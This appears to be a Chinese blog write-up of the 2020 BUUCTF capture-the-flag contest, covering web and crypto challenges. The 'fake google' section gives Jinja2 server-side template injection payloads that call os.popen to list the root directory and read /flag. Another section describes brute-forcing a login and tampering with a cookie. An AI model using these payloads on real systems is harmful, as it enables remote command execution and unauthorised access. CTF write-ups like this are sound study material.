2020 BUUCTF

总结

还是主要是以复现为主的。毕竟只A了两题?

然后欣喜的发现比完赛题目还没关

认认真真把题目都日(复现)一遍

WEB

fake google

题目

解决方案

先是猜注入,找到提示类型为SSTI

<!--ssssssti & a little trick --> P3's girlfirend is : <br><hr>

使用payload,作用是在根目录遍历目录输出,其中popen填入Linux命令。

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

找到flag在根目录,提取文件。

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

我复现做到这里的时候已经可以得到flag了。

但是看官方wp,比赛时对BJD做了过滤,对返回的字符串使用了切片操作过滤。

图源官方wp

Schrödinger

题目

解决方案

看源代码,复现里,这行白字我是没有注意到的。

查看一下这个php,是一个登录框。

那么就显而易见是这个网站来fuck了。

输入到框中进行爆破,成功率涨的很慢,查看Cookie,发现有一个base64编码的Cookie,将其置空,成功获得密码。

在B站搜索AV账号,在评论区得到flag。

elementmaster

题目

解决方案

根据官方wp hint:

门捷列夫发现了元素周期表,而且漫画的图片文件名也叫 mendeleev.jpg,所以题目在暗示元素周期表相关。漫画上,右下角小人说它是全部 118 元素的 Master,还画着俄罗斯国旗、写着门捷列夫的俄文名,所以他就是门捷列夫。

——源自官方wp

查看源码,发现p标签ID:

字符串拼接,将十六进制转化为字符串:

import binascii
def hex_to_string(hex_string):
    return binascii.unhexlify(hex_string.encode('utf-8')).decode('utf-8')
print(hex_to_string('506F2E706870'))

得到输出Po.php并访问。

访问后的网站没有404,只得到了一个点。

后面脑洞就比较牛逼了……写了元素周期表的脚本,一个个运行run一遍。

得到的输出就是flag的地址了,即可找到flag。

其实操作起来还是蛮简单的也并不难,做出来的也不多,可能是脑洞太大了?

CRYPTO

签到

题目

解决方案

简单的BASE64解码。

老文盲了

题目

解决方案

下载附件

放到Google翻译一下

读出来就是

BJD{这就是flag}

结合hint,拼一下就是

BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇